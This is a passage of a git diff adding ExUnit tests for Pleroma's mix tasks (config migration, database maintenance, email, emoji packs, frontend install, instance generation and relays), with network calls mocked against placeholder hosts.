Pleroma instance, an alternative fediverse server", + limit: 5_000, + chat_limit: 5_000, + remote_limit: 100_000, + upload_limit: 16_000_000, + avatar_upload_limit: 2_000_000, + background_upload_limit: 4_000_000, + banner_upload_limit: 4_000_000, + poll_limits: %{ + max_options: 20, + max_option_chars: 200, + min_expiration: 0, + max_expiration: 365 * 24 * 60 * 60 + }, + registrations_open: true, + federating: true, + federation_incoming_replies_max_depth: 100, + federation_reachability_timeout_days: 7, + federation_publisher_modules: [Pleroma.Web.ActivityPub.Publisher], + allow_relay: true, + public: true, + quarantined_instances: [], + managed_config: true, + static_dir: "instance/static/", + allowed_post_formats: ["text/plain", "text/html", "text/markdown", "text/bbcode"], + autofollowed_nicknames: [], + max_pinned_statuses: 1, + attachment_links: false, + max_report_comment_size: 1000, + safe_dm_mentions: false, + healthcheck: false, + remote_post_retention_days: 90, + skip_thread_containment: true, + limit_to_local_content: :unauthenticated, + user_bio_length: 5000, + user_name_length: 100, + max_account_fields: 10, + max_remote_account_fields: 20, + account_field_name_length: 512, + account_field_value_length: 2048, + external_user_synchronization: true, + extended_nickname_format: true, + multi_factor_authentication: [ + totp: [ + digits: 6, + period: 30 + ], + backup_codes: [ + number: 2, + length: 6 + ] + ] + ] + ) + + Mix.Tasks.Pleroma.Config.run(["migrate_from_db", "--env", "temp", "-d"]) + + assert Repo.all(ConfigDB) == [] + assert File.exists?(temp_file) + {:ok, file} = File.read(temp_file) + + header = + if Code.ensure_loaded?(Config.Reader) do + "import Config" + else + "use Mix.Config" + end + + assert file == + "#{header}\n\nconfig :pleroma, :instance,\n name: \"Pleroma\",\n email: \"example@example.com\",\n notify_email: \"noreply@example.com\",\n description: \"A Pleroma instance, an alternative fediverse server\",\n limit: 5000,\n chat_limit: 5000,\n remote_limit: 100_000,\n upload_limit: 16_000_000,\n avatar_upload_limit: 2_000_000,\n background_upload_limit: 4_000_000,\n banner_upload_limit: 4_000_000,\n poll_limits: %{\n max_expiration: 31_536_000,\n max_option_chars: 200,\n max_options: 20,\n min_expiration: 0\n },\n registrations_open: true,\n federating: true,\n federation_incoming_replies_max_depth: 100,\n federation_reachability_timeout_days: 7,\n federation_publisher_modules: [Pleroma.Web.ActivityPub.Publisher],\n allow_relay: true,\n public: true,\n quarantined_instances: [],\n managed_config: true,\n static_dir: \"instance/static/\",\n allowed_post_formats: [\"text/plain\", \"text/html\", \"text/markdown\", \"text/bbcode\"],\n autofollowed_nicknames: [],\n max_pinned_statuses: 1,\n attachment_links: false,\n max_report_comment_size: 1000,\n safe_dm_mentions: false,\n healthcheck: false,\n remote_post_retention_days: 90,\n skip_thread_containment: true,\n limit_to_local_content: :unauthenticated,\n user_bio_length: 5000,\n user_name_length: 100,\n max_account_fields: 10,\n max_remote_account_fields: 20,\n account_field_name_length: 512,\n account_field_value_length: 2048,\n external_user_synchronization: true,\n extended_nickname_format: true,\n multi_factor_authentication: [\n totp: [digits: 6, period: 30],\n backup_codes: [number: 2, length: 6]\n ]\n" + end + end +end diff --git a/test/mix/tasks/pleroma/count_statuses_test.exs b/test/mix/tasks/pleroma/count_statuses_test.exs new file mode 100644 index 000000000..c5cd16960 --- /dev/null +++ b/test/mix/tasks/pleroma/count_statuses_test.exs @@ -0,0 +1,39 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Mix.Tasks.Pleroma.CountStatusesTest do + use Pleroma.DataCase + + alias Pleroma.User + alias Pleroma.Web.CommonAPI + + import ExUnit.CaptureIO, only: [capture_io: 1] + import Pleroma.Factory + + test "counts statuses" do + user = insert(:user) + {:ok, _} = CommonAPI.post(user, %{status: "test"}) + {:ok, _} = CommonAPI.post(user, %{status: "test2"}) + + user2 = insert(:user) + {:ok, _} = CommonAPI.post(user2, %{status: "test3"}) + + user = refresh_record(user) + user2 = refresh_record(user2) + + assert %{note_count: 2} = user + assert %{note_count: 1} = user2 + + {:ok, user} = User.update_note_count(user, 0) + {:ok, user2} = User.update_note_count(user2, 0) + + assert %{note_count: 0} = user + assert %{note_count: 0} = user2 + + assert capture_io(fn -> Mix.Tasks.Pleroma.CountStatuses.run([]) end) == "Done\n" + + assert %{note_count: 2} = refresh_record(user) + assert %{note_count: 1} = refresh_record(user2) + end +end diff --git a/test/mix/tasks/pleroma/database_test.exs b/test/mix/tasks/pleroma/database_test.exs new file mode 100644 index 000000000..292a5ef5f --- /dev/null +++ b/test/mix/tasks/pleroma/database_test.exs @@ -0,0 +1,175 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Mix.Tasks.Pleroma.DatabaseTest do + use Pleroma.DataCase + use Oban.Testing, repo: Pleroma.Repo + + alias Pleroma.Activity + alias Pleroma.Object + alias Pleroma.Repo + alias Pleroma.User + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + setup_all do + Mix.shell(Mix.Shell.Process) + + on_exit(fn -> + Mix.shell(Mix.Shell.IO) + end) + + :ok + end + + describe "running remove_embedded_objects" do + test "it replaces objects with references" do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: "test"}) + new_data = Map.put(activity.data, "object", activity.object.data) + + {:ok, activity} = + activity + |> Activity.change(%{data: new_data}) + |> Repo.update() + + assert is_map(activity.data["object"]) + + Mix.Tasks.Pleroma.Database.run(["remove_embedded_objects"]) + + activity = Activity.get_by_id_with_object(activity.id) + assert is_binary(activity.data["object"]) + end + end + + describe "prune_objects" do + test "it prunes old objects from the database" do + insert(:note) + deadline = Pleroma.Config.get([:instance, :remote_post_retention_days]) + 1 + + date = + Timex.now() + |> Timex.shift(days: -deadline) + |> Timex.to_naive_datetime() + |> NaiveDateTime.truncate(:second) + + %{id: id} = + :note + |> insert() + |> Ecto.Changeset.change(%{inserted_at: date}) + |> Repo.update!() + + assert length(Repo.all(Object)) == 2 + + Mix.Tasks.Pleroma.Database.run(["prune_objects"]) + + assert length(Repo.all(Object)) == 1 + refute Object.get_by_id(id) + end + end + + describe "running update_users_following_followers_counts" do + test "following and followers count are updated" do + [user, user2] = insert_pair(:user) + {:ok, %User{} = user} = User.follow(user, user2) + + following = User.following(user) + + assert length(following) == 2 + assert user.follower_count == 0 + + {:ok, user} = + user + |> Ecto.Changeset.change(%{follower_count: 3}) + |> Repo.update() + + assert user.follower_count == 3 + + assert :ok == Mix.Tasks.Pleroma.Database.run(["update_users_following_followers_counts"]) + + user = User.get_by_id(user.id) + + assert length(User.following(user)) == 2 + assert user.follower_count == 0 + end + end + + describe "running fix_likes_collections" do + test "it turns OrderedCollection likes into empty arrays" do + [user, user2] = insert_pair(:user) + + {:ok, %{id: id, object: object}} = CommonAPI.post(user, %{status: "test"}) + {:ok, %{object: object2}} = CommonAPI.post(user, %{status: "test test"}) + + CommonAPI.favorite(user2, id) + + likes = %{ + "first" => + "http://mastodon.example.org/objects/dbdbc507-52c8-490d-9b7c-1e1d52e5c132/likes?page=1", + "id" => "http://mastodon.example.org/objects/dbdbc507-52c8-490d-9b7c-1e1d52e5c132/likes", + "totalItems" => 3, + "type" => "OrderedCollection" + } + + new_data = Map.put(object2.data, "likes", likes) + + object2 + |> Ecto.Changeset.change(%{data: new_data}) + |> Repo.update() + + assert length(Object.get_by_id(object.id).data["likes"]) == 1 + assert is_map(Object.get_by_id(object2.id).data["likes"]) + + assert :ok == Mix.Tasks.Pleroma.Database.run(["fix_likes_collections"]) + + assert length(Object.get_by_id(object.id).data["likes"]) == 1 + assert Enum.empty?(Object.get_by_id(object2.id).data["likes"]) + end + end + + describe "ensure_expiration" do + test "it adds to expiration old statuses" do + activity1 = insert(:note_activity) + + {:ok, inserted_at, 0} = DateTime.from_iso8601("2015-01-23T23:50:07Z") + activity2 = insert(:note_activity, %{inserted_at: inserted_at}) + + %{id: activity_id3} = insert(:note_activity) + + expires_at = DateTime.add(DateTime.utc_now(), 60 * 61) + + Pleroma.Workers.PurgeExpiredActivity.enqueue(%{ + activity_id: activity_id3, + expires_at: expires_at + }) + + Mix.Tasks.Pleroma.Database.run(["ensure_expiration"]) + + assert_enqueued( + worker: Pleroma.Workers.PurgeExpiredActivity, + args: %{activity_id: activity1.id}, + scheduled_at: + activity1.inserted_at + |> DateTime.from_naive!("Etc/UTC") + |> Timex.shift(days: 365) + ) + + assert_enqueued( + worker: Pleroma.Workers.PurgeExpiredActivity, + args: %{activity_id: activity2.id}, + scheduled_at: + activity2.inserted_at + |> DateTime.from_naive!("Etc/UTC") + |> Timex.shift(days: 365) + ) + + assert_enqueued( + worker: Pleroma.Workers.PurgeExpiredActivity, + args: %{activity_id: activity_id3}, + scheduled_at: expires_at + ) + end + end +end diff --git a/test/mix/tasks/pleroma/digest_test.exs b/test/mix/tasks/pleroma/digest_test.exs new file mode 100644 index 000000000..69dccb745 --- /dev/null +++ b/test/mix/tasks/pleroma/digest_test.exs @@ -0,0 +1,60 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Mix.Tasks.Pleroma.DigestTest do + use Pleroma.DataCase + + import Pleroma.Factory + import Swoosh.TestAssertions + + alias Pleroma.Tests.ObanHelpers + alias Pleroma.Web.CommonAPI + + setup_all do + Mix.shell(Mix.Shell.Process) + + on_exit(fn -> + Mix.shell(Mix.Shell.IO) + end) + + :ok + end + + setup do: clear_config([Pleroma.Emails.Mailer, :enabled], true) + + describe "pleroma.digest test" do + test "Sends digest to the given user" do + user1 = insert(:user) + user2 = insert(:user) + + Enum.each(0..10, fn i -> + {:ok, _activity} = + CommonAPI.post(user1, %{ + status: "hey ##{i} @#{user2.nickname}!" + }) + end) + + yesterday = + NaiveDateTime.add( + NaiveDateTime.truncate(NaiveDateTime.utc_now(), :second), + -60 * 60 * 24, + :second + ) + + {:ok, yesterday_date} = Timex.format(yesterday, "%F", :strftime) + + :ok = Mix.Tasks.Pleroma.Digest.run(["test", user2.nickname, yesterday_date]) + + ObanHelpers.perform_all() + + assert_receive {:mix_shell, :info, [message]} + assert message =~ "Digest email have been sent" + + assert_email_sent( + to: {user2.name, user2.email}, + html_body: ~r/here is what you've missed!/i + ) + end + end +end diff --git a/test/mix/tasks/pleroma/ecto/migrate_test.exs b/test/mix/tasks/pleroma/ecto/migrate_test.exs new file mode 100644 index 000000000..43df176a1 --- /dev/null +++ b/test/mix/tasks/pleroma/ecto/migrate_test.exs @@ -0,0 +1,20 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-onl + +defmodule Mix.Tasks.Pleroma.Ecto.MigrateTest do + use Pleroma.DataCase, async: true + import ExUnit.CaptureLog + require Logger + + test "ecto.migrate info message" do + level = Logger.level() + Logger.configure(level: :warn) + + assert capture_log(fn -> + Mix.Tasks.Pleroma.Ecto.Migrate.run() + end) =~ "[info] Already up" + + Logger.configure(level: level) + end +end diff --git a/test/mix/tasks/pleroma/ecto/rollback_test.exs b/test/mix/tasks/pleroma/ecto/rollback_test.exs new file mode 100644 index 000000000..0236e35d5 --- /dev/null +++ b/test/mix/tasks/pleroma/ecto/rollback_test.exs @@ -0,0 +1,20 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Mix.Tasks.Pleroma.Ecto.RollbackTest do + use Pleroma.DataCase + import ExUnit.CaptureLog + require Logger + + test "ecto.rollback info message" do + level = Logger.level() + Logger.configure(level: :warn) + + assert capture_log(fn -> + Mix.Tasks.Pleroma.Ecto.Rollback.run() + end) =~ "[info] Rollback succesfully" + + Logger.configure(level: level) + end +end diff --git a/test/mix/tasks/pleroma/ecto_test.exs b/test/mix/tasks/pleroma/ecto_test.exs new file mode 100644 index 000000000..3a028df83 --- /dev/null +++ b/test/mix/tasks/pleroma/ecto_test.exs @@ -0,0 +1,15 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Mix.Tasks.Pleroma.EctoTest do + use ExUnit.Case, async: true + + test "raise on bad path" do + assert_raise RuntimeError, ~r/Could not find migrations directory/, fn -> + Mix.Tasks.Pleroma.Ecto.ensure_migrations_path(Pleroma.Repo, + migrations_path: "some-path" + ) + end + end +end diff --git a/test/mix/tasks/pleroma/email_test.exs b/test/mix/tasks/pleroma/email_test.exs new file mode 100644 index 000000000..9523aefd8 --- /dev/null +++ b/test/mix/tasks/pleroma/email_test.exs @@ -0,0 +1,127 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Mix.Tasks.Pleroma.EmailTest do + use Pleroma.DataCase + + import Swoosh.TestAssertions + + alias Pleroma.Config + alias Pleroma.Tests.ObanHelpers + + import Pleroma.Factory + + setup_all do + Mix.shell(Mix.Shell.Process) + + on_exit(fn -> + Mix.shell(Mix.Shell.IO) + end) + + :ok + end + + setup do: clear_config([Pleroma.Emails.Mailer, :enabled], true) + setup do: clear_config([:instance, :account_activation_required], true) + + describe "pleroma.email test" do + test "Sends test email with no given address" do + mail_to = Config.get([:instance, :email]) + + :ok = Mix.Tasks.Pleroma.Email.run(["test"]) + + ObanHelpers.perform_all() + + assert_receive {:mix_shell, :info, [message]} + assert message =~ "Test email has been sent" + + assert_email_sent( + to: mail_to, + html_body: ~r/a test email was requested./i + ) + end + + test "Sends test email with given address" do + mail_to = "hewwo@example.com" + + :ok = Mix.Tasks.Pleroma.Email.run(["test", "--to", mail_to]) + + ObanHelpers.perform_all() + + assert_receive {:mix_shell, :info, [message]} + assert message =~ "Test email has been sent" + + assert_email_sent( + to: mail_to, + html_body: ~r/a test email was requested./i + ) + end + + test "Sends confirmation emails" do + local_user1 = + insert(:user, %{ + confirmation_pending: true, + confirmation_token: "mytoken", + deactivated: false, + email: "local1@pleroma.com", + local: true + }) + + local_user2 = + insert(:user, %{ + confirmation_pending: true, + confirmation_token: "mytoken", + deactivated: false, + email: "local2@pleroma.com", + local: true + }) + + :ok = Mix.Tasks.Pleroma.Email.run(["resend_confirmation_emails"]) + + ObanHelpers.perform_all() + + assert_email_sent(to: {local_user1.name, local_user1.email}) + assert_email_sent(to: {local_user2.name, local_user2.email}) + end + + test "Does not send confirmation email to inappropriate users" do + # confirmed user + insert(:user, %{ + confirmation_pending: false, + confirmation_token: "mytoken", + deactivated: false, + email: "confirmed@pleroma.com", + local: true + }) + + # remote user + insert(:user, %{ + deactivated: false, + email: "remote@not-pleroma.com", + local: false + }) + + # deactivated user = + insert(:user, %{ + deactivated: true, + email: "deactivated@pleroma.com", + local: false + }) + + # invisible user + insert(:user, %{ + deactivated: false, + email: "invisible@pleroma.com", + local: true, + invisible: true + }) + + :ok = Mix.Tasks.Pleroma.Email.run(["resend_confirmation_emails"]) + + ObanHelpers.perform_all() + + refute_email_sent() + end + end +end diff --git a/test/mix/tasks/pleroma/emoji_test.exs b/test/mix/tasks/pleroma/emoji_test.exs new file mode 100644 index 000000000..0fb8603ac --- /dev/null +++ b/test/mix/tasks/pleroma/emoji_test.exs @@ -0,0 +1,243 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Mix.Tasks.Pleroma.EmojiTest do + use ExUnit.Case, async: true + + import ExUnit.CaptureIO + import Tesla.Mock + + alias Mix.Tasks.Pleroma.Emoji + + describe "ls-packs" do + test "with default manifest as url" do + mock(fn + %{ + method: :get, + url: "https://git.pleroma.social/pleroma/emoji-index/raw/master/index.json" + } -> + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/emoji/packs/default-manifest.json") + } + end) + + capture_io(fn -> Emoji.run(["ls-packs"]) end) =~ + "https://finland.fi/wp-content/uploads/2017/06/finland-emojis.zip" + end + + test "with passed manifest as file" do + capture_io(fn -> + Emoji.run(["ls-packs", "-m", "test/fixtures/emoji/packs/manifest.json"]) + end) =~ "https://git.pleroma.social/pleroma/emoji-index/raw/master/packs/blobs_gg.zip" + end + end + + describe "get-packs" do + test "download pack from default manifest" do + mock(fn + %{ + method: :get, + url: "https://git.pleroma.social/pleroma/emoji-index/raw/master/index.json" + } -> + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/emoji/packs/default-manifest.json") + } + + %{ + method: :get, + url: "https://finland.fi/wp-content/uploads/2017/06/finland-emojis.zip" + } -> + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/emoji/packs/blank.png.zip") + } + + %{ + method: :get, + url: "https://git.pleroma.social/pleroma/emoji-index/raw/master/finmoji.json" + } -> + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/emoji/packs/finmoji.json") + } + end) + + assert capture_io(fn -> Emoji.run(["get-packs", "finmoji"]) end) =~ "Writing pack.json for" + + emoji_path = + Path.join( + Pleroma.Config.get!([:instance, :static_dir]), + "emoji" + ) + + assert File.exists?(Path.join([emoji_path, "finmoji", "pack.json"])) + on_exit(fn -> File.rm_rf!("test/instance_static/emoji/finmoji") end) + end + + test "install local emoji pack" do + assert capture_io(fn -> + Emoji.run([ + "get-packs", + "local", + "--manifest", + "test/instance_static/local_pack/manifest.json" + ]) + end) =~ "Writing pack.json for" + + on_exit(fn -> File.rm_rf!("test/instance_static/emoji/local") end) + end + + test "pack not found" do + mock(fn + %{ + method: :get, + url: "https://git.pleroma.social/pleroma/emoji-index/raw/master/index.json" + } -> + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/emoji/packs/default-manifest.json") + } + end) + + assert capture_io(fn -> Emoji.run(["get-packs", "not_found"]) end) =~ + "No pack named \"not_found\" found" + end + + test "raise on bad sha256" do + mock(fn + %{ + method: :get, + url: "https://git.pleroma.social/pleroma/emoji-index/raw/master/packs/blobs_gg.zip" + } -> + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/emoji/packs/blank.png.zip") + } + end) + + assert_raise RuntimeError, ~r/^Bad SHA256 for blobs.gg/, fn -> + capture_io(fn -> + Emoji.run(["get-packs", "blobs.gg", "-m", "test/fixtures/emoji/packs/manifest.json"]) + end) + end + end + end + + describe "gen-pack" do + setup do + url = "https://finland.fi/wp-content/uploads/2017/06/finland-emojis.zip" + + mock(fn %{ + method: :get, + url: ^url + } -> + %Tesla.Env{status: 200, body: File.read!("test/fixtures/emoji/packs/blank.png.zip")} + end) + + {:ok, url: url} + end + + test "with default extensions", %{url: url} do + name = "pack1" + pack_json = "#{name}.json" + files_json = "#{name}_file.json" + refute File.exists?(pack_json) + refute File.exists?(files_json) + + captured = + capture_io(fn -> + Emoji.run([ + "gen-pack", + url, + "--name", + name, + "--license", + "license", + "--homepage", + "homepage", + "--description", + "description", + "--files", + files_json, + "--extensions", + ".png .gif" + ]) + end) + + assert captured =~ "#{pack_json} has been created with the pack1 pack" + assert captured =~ "Using .png .gif extensions" + + assert File.exists?(pack_json) + assert File.exists?(files_json) + + on_exit(fn -> + File.rm!(pack_json) + File.rm!(files_json) + end) + end + + test "with custom extensions and update existing files", %{url: url} do + name = "pack2" + pack_json = "#{name}.json" + files_json = "#{name}_file.json" + refute File.exists?(pack_json) + refute File.exists?(files_json) + + captured = + capture_io(fn -> + Emoji.run([ + "gen-pack", + url, + "--name", + name, + "--license", + "license", + "--homepage", + "homepage", + "--description", + "description", + "--files", + files_json, + "--extensions", + " .png .gif .jpeg " + ]) + end) + + assert captured =~ "#{pack_json} has been created with the pack2 pack" + assert captured =~ "Using .png .gif .jpeg extensions" + + assert File.exists?(pack_json) + assert File.exists?(files_json) + + captured = + capture_io(fn -> + Emoji.run([ + "gen-pack", + url, + "--name", + name, + "--license", + "license", + "--homepage", + "homepage", + "--description", + "description", + "--files", + files_json, + "--extensions", + " .png .gif .jpeg " + ]) + end) + + assert captured =~ "#{pack_json} has been updated with the pack2 pack" + + on_exit(fn -> + File.rm!(pack_json) + File.rm!(files_json) + end) + end + end +end diff --git a/test/mix/tasks/pleroma/frontend_test.exs b/test/mix/tasks/pleroma/frontend_test.exs new file mode 100644 index 000000000..022ae51be --- /dev/null +++ b/test/mix/tasks/pleroma/frontend_test.exs @@ -0,0 +1,85 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.FrontendTest do + use Pleroma.DataCase + alias Mix.Tasks.Pleroma.Frontend + + import ExUnit.CaptureIO, only: [capture_io: 1] + + @dir "test/frontend_static_test" + + setup do + File.mkdir_p!(@dir) + clear_config([:instance, :static_dir], @dir) + + on_exit(fn -> + File.rm_rf(@dir) + end) + end + + test "it downloads and unzips a known frontend" do + clear_config([:frontends, :available], %{ + "pleroma" => %{ + "ref" => "fantasy", + "name" => "pleroma", + "build_url" => "http://gensokyo.2hu/builds/${ref}" + } + }) + + Tesla.Mock.mock(fn %{url: "http://gensokyo.2hu/builds/fantasy"} -> + %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/frontend_dist.zip")} + end) + + capture_io(fn -> + Frontend.run(["install", "pleroma"]) + end) + + assert File.exists?(Path.join([@dir, "frontends", "pleroma", "fantasy", "test.txt"])) + end + + test "it also works given a file" do + clear_config([:frontends, :available], %{ + "pleroma" => %{ + "ref" => "fantasy", + "name" => "pleroma", + "build_dir" => "" + } + }) + + folder = Path.join([@dir, "frontends", "pleroma", "fantasy"]) + previously_existing = Path.join([folder, "temp"]) + File.mkdir_p!(folder) + File.write!(previously_existing, "yey") + assert File.exists?(previously_existing) + + capture_io(fn -> + Frontend.run(["install", "pleroma", "--file", "test/fixtures/tesla_mock/frontend.zip"]) + end) + + assert File.exists?(Path.join([folder, "test.txt"])) + refute File.exists?(previously_existing) + end + + test "it downloads and unzips unknown frontends" do + Tesla.Mock.mock(fn %{url: "http://gensokyo.2hu/madeup.zip"} -> + %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/frontend.zip")} + end) + + capture_io(fn -> + Frontend.run([ + "install", + "unknown", + "--ref", + "baka", + "--build-url", + "http://gensokyo.2hu/madeup.zip", + "--build-dir", + "" + ]) + end) + + assert File.exists?(Path.join([@dir, "frontends", "unknown", "baka", "test.txt"])) + end +end diff --git a/test/mix/tasks/pleroma/instance_test.exs b/test/mix/tasks/pleroma/instance_test.exs new file mode 100644 index 000000000..8a02710ee --- /dev/null +++ b/test/mix/tasks/pleroma/instance_test.exs @@ -0,0 +1,99 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Mix.Tasks.Pleroma.InstanceTest do + use ExUnit.Case + + setup do + File.mkdir_p!(tmp_path()) + + on_exit(fn -> + File.rm_rf(tmp_path()) + static_dir = Pleroma.Config.get([:instance, :static_dir], "test/instance_static/") + + if File.exists?(static_dir) do + File.rm_rf(Path.join(static_dir, "robots.txt")) + end + + Pleroma.Config.put([:instance, :static_dir], static_dir) + end) + + :ok + end + + defp tmp_path do + "/tmp/generated_files/" + end + + test "running gen" do + mix_task = fn -> + Mix.Tasks.Pleroma.Instance.run([ + "gen", + "--output", + tmp_path() <> "generated_config.exs", + "--output-psql", + tmp_path() <> "setup.psql", + "--domain", + "test.pleroma.social", + "--instance-name", + "Pleroma", + "--admin-email", + "admin@example.com", + "--notify-email", + "notify@example.com", + "--dbhost", + "dbhost", + "--dbname", + "dbname", + "--dbuser", + "dbuser", + "--dbpass", + "dbpass", + "--indexable", + "y", + "--db-configurable", + "y", + "--rum", + "y", + "--listen-port", + "4000", + "--listen-ip", + "127.0.0.1", + "--uploads-dir", + "test/uploads", + "--static-dir", + "./test/../test/instance/static/", + "--strip-uploads", + "y", + "--dedupe-uploads", + "n", + "--anonymize-uploads", + "n" + ]) + end + + ExUnit.CaptureIO.capture_io(fn -> + mix_task.() + end) + + generated_config = File.read!(tmp_path() <> "generated_config.exs") + assert generated_config =~ "host: \"test.pleroma.social\"" + assert generated_config =~ "name: \"Pleroma\"" + assert generated_config =~ "email: \"admin@example.com\"" + assert generated_config =~ "notify_email: \"notify@example.com\"" + assert generated_config =~ "hostname: \"dbhost\"" + assert generated_config =~ "database: \"dbname\"" + assert generated_config =~ "username: \"dbuser\"" + assert generated_config =~ "password: \"dbpass\"" + assert generated_config =~ "configurable_from_database: true" + assert generated_config =~ "http: [ip: {127, 0, 0, 1}, port: 4000]" + assert generated_config =~ "filters: [Pleroma.Upload.Filter.ExifTool]" + assert File.read!(tmp_path() <> "setup.psql") == generated_setup_psql() + assert File.exists?(Path.expand("./test/instance/static/robots.txt")) + end + + defp generated_setup_psql do + ~s(CREATE USER dbuser WITH ENCRYPTED PASSWORD 'dbpass';\nCREATE DATABASE dbname OWNER dbuser;\n\\c dbname;\n--Extensions made by ecto.migrate that need superuser access\nCREATE EXTENSION IF NOT EXISTS citext;\nCREATE EXTENSION IF NOT EXISTS pg_trgm;\nCREATE EXTENSION IF NOT EXISTS \"uuid-ossp\";\nCREATE EXTENSION IF NOT EXISTS rum;\n) + end +end diff --git a/test/mix/tasks/pleroma/refresh_counter_cache_test.exs b/test/mix/tasks/pleroma/refresh_counter_cache_test.exs new file mode 100644 index 000000000..6a1a9ac17 --- /dev/null +++ b/test/mix/tasks/pleroma/refresh_counter_cache_test.exs @@ -0,0 +1,43 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Mix.Tasks.Pleroma.RefreshCounterCacheTest do + use Pleroma.DataCase + alias Pleroma.Web.CommonAPI + import ExUnit.CaptureIO, only: [capture_io: 1] + import Pleroma.Factory + + test "counts statuses" do + user = insert(:user) + other_user = insert(:user) + + CommonAPI.post(user, %{visibility: "public", status: "hey"}) + + Enum.each(0..1, fn _ -> + CommonAPI.post(user, %{ + visibility: "unlisted", + status: "hey" + }) + end) + + Enum.each(0..2, fn _ -> + CommonAPI.post(user, %{ + visibility: "direct", + status: "hey @#{other_user.nickname}" + }) + end) + + Enum.each(0..3, fn _ -> + CommonAPI.post(user, %{ + visibility: "private", + status: "hey" + }) + end) + + assert capture_io(fn -> Mix.Tasks.Pleroma.RefreshCounterCache.run([]) end) =~ "Done\n" + + assert %{"direct" => 3, "private" => 4, "public" => 1, "unlisted" => 2} = + Pleroma.Stats.get_status_visibility_count() + end +end diff --git a/test/mix/tasks/pleroma/relay_test.exs b/test/mix/tasks/pleroma/relay_test.exs new file mode 100644 index 000000000..cf48e7dda --- /dev/null +++ b/test/mix/tasks/pleroma/relay_test.exs @@ -0,0 +1,180 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Mix.Tasks.Pleroma.RelayTest do + alias Pleroma.Activity + alias Pleroma.User + alias Pleroma.Web.ActivityPub.ActivityPub + alias Pleroma.Web.ActivityPub.Relay + alias Pleroma.Web.ActivityPub.Utils + use Pleroma.DataCase + + import Pleroma.Factory + + setup_all do + Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + + Mix.shell(Mix.Shell.Process) + + on_exit(fn -> + Mix.shell(Mix.Shell.IO) + end) + + :ok + end + + describe "running follow" do + test "relay is followed" do + target_instance = "http://mastodon.example.org/users/admin" + + Mix.Tasks.Pleroma.Relay.run(["follow", target_instance]) + + local_user = Relay.get_actor() + assert local_user.ap_id =~ "/relay" + + target_user = User.get_cached_by_ap_id(target_instance) + refute target_user.local + + activity = Utils.fetch_latest_follow(local_user, target_user) + assert activity.data["type"] == "Follow" + assert activity.data["actor"] == local_user.ap_id + assert activity.data["object"] == target_user.ap_id + + :ok = Mix.Tasks.Pleroma.Relay.run(["list"]) + + assert_receive {:mix_shell, :info, + [ + "http://mastodon.example.org/users/admin - no Accept received (relay didn't follow back)" + ]} + end + end + + describe "running unfollow" do + test "relay is unfollowed" do + user = insert(:user) + target_instance = user.ap_id + + Mix.Tasks.Pleroma.Relay.run(["follow", target_instance]) + + %User{ap_id: follower_id} = local_user = Relay.get_actor() + target_user = User.get_cached_by_ap_id(target_instance) + follow_activity = Utils.fetch_latest_follow(local_user, target_user) + User.follow(local_user, target_user) + assert "#{target_instance}/followers" in User.following(local_user) + Mix.Tasks.Pleroma.Relay.run(["unfollow", target_instance]) + + cancelled_activity = Activity.get_by_ap_id(follow_activity.data["id"]) + assert cancelled_activity.data["state"] == "cancelled" + + [undo_activity] = + ActivityPub.fetch_activities([], %{ + type: "Undo", + actor_id: follower_id, + limit: 1, + skip_preload: true, + invisible_actors: true + }) + + assert undo_activity.data["type"] == "Undo" + assert undo_activity.data["actor"] == local_user.ap_id + assert undo_activity.data["object"]["id"] == cancelled_activity.data["id"] + refute "#{target_instance}/followers" in User.following(local_user) + end + + test "unfollow when relay is dead" do + user = insert(:user) + target_instance = user.ap_id + + Mix.Tasks.Pleroma.Relay.run(["follow", target_instance]) + + %User{ap_id: follower_id} = local_user = Relay.get_actor() + target_user = User.get_cached_by_ap_id(target_instance) + follow_activity = Utils.fetch_latest_follow(local_user, target_user) + User.follow(local_user, target_user) + + assert "#{target_instance}/followers" in User.following(local_user) + + Tesla.Mock.mock(fn %{method: :get, url: ^target_instance} -> + %Tesla.Env{status: 404} + end) + + Pleroma.Repo.delete(user) + Cachex.clear(:user_cache) + + Mix.Tasks.Pleroma.Relay.run(["unfollow", target_instance]) + + cancelled_activity = Activity.get_by_ap_id(follow_activity.data["id"]) + assert cancelled_activity.data["state"] == "accept" + + assert [] == + ActivityPub.fetch_activities( + [], + %{ + type: "Undo", + actor_id: follower_id, + skip_preload: true, + 